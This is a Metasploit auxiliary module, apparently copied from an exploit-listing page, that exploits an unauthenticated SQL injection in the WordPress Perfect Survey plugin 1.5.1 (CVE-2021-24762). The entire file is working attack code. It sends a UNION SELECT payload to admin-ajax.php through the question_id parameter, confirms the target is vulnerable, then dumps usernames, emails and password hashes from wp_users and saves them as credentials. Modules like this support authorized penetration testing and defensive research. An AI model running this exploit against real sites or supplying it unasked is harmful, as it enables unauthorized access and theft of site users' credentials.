Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-WP_PERFECT_SURVEY_SQLI-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in the Perfect Survey
          plugin for WordPress (version 1.5.1). An unauthenticated attacker can
          exploit the SQLi to retrieve sensitive information such as usernames,
          emails, and password hashes from the `wp_users` table.
        },
        'Author' => [
          'Aaryan Golatkar', # Metasploit Module Creator
          'Ron Jost'         # Vulnerability discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['EDB', '50766'],
          ['CVE', '2021-24762']
        ],
        'DisclosureDate' => '2021-10-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
      Opt::RPORT(80) # Default port for HTTP
    ])
  end

  # Define SQLi object
  def get_sqli_object
    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
      endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
      sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
      params = {
        'action' => 'get_question',
        'question_id' => sqli_payload
      }

      # Send HTTP GET request
      res = send_request_cgi({
        'uri' => endpoint,
        'method' => 'GET',
        'vars_get' => params
      })

      # Validate response
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200

      html_content = res.get_json_document['html']
      fail_with(Failure::Unknown, 'HTML content is empty') unless html_content

      # Extract data from response
      match_data = /survey_question_p">([^<]+)/.match(html_content)
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data

      extracted_data = match_data.captures[0]
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data

      extracted_data
    end
  end

  # Check method
  def check
    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable

    Exploit::CheckCode::Safe
  end

  # Run method
  def run
    # next line included for automatic inclusion into vulnerable plugins list
    # check_plugin_version_from_readme('perfect-survey', '1.5.2')
    print_status('Exploiting SQLi in Perfect Survey plugin...')
    @sqli ||= get_sqli_object
    fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    creds_table = Rex::Text::Table.new(
      'Header' => 'WordPress User Credentials',
      'Indent' => 1,
      'Columns' => ['Username', 'Email', 'Hash']
    )

    print_status("Extracting credential information\n")
    users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
    users.each do |(username, email, hash)|
      creds_table << [username, email, hash]
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: username,
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
        private_data: hash,
        service_name: 'WordPress Perfect Survey Plugin',
        address: datastore['RHOSTS'],
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED,
        email: email
      })
    end
    print_line creds_table.to_s
  end
end